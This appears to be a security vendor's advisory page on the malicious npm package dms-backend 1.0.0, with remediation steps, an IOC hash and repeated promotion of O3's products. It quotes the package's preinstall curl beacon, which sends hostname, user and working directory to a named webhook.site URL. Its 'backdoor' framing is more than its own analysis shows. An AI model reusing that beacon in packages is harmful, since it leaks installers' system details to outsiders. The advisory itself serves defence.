Which versions of dms-backend are malicious?

The following npm versions of dms-backend are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate dms-backend if I installed it?

dms-backend establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed dms-backend — how do I know if it already compromised me?

If dms-backend was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is dms-backend part of a known attack campaign?

Yes — dms-backend is associated with the IN-MAL-2026-006700 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find dms-backend across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for dms-backend (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging dms-backend across your stack and pipelines.

Malicious package

dms-backendnpm

dms-backend is a confirmed malicious npm package (MAL-2026-5826) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in dms-backend (npm)

MAL-2026-5826

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall dms-backend

What this malware does

package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL (https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/dms-backend). This fires automatically on npm install and leaks installer-side identifiers — hostname, current OS user, and install working directory — to an attacker-controlled webhook bin. The package ships no real functionality; the preinstall recon beacon is the package's only behavior, which is the canonical shape of a dependency-confusion reconnaissance probe (the name dms-backend suggests targeting an internal/private registry name to hijack installs of an organization's private package).

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for dms-backend (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging dms-backend across your stack and pipelines.
If you installed it — respond
dms-backend establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If dms-backend was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks dms-backend before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. dms-backend on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006700

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks dms-backend-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database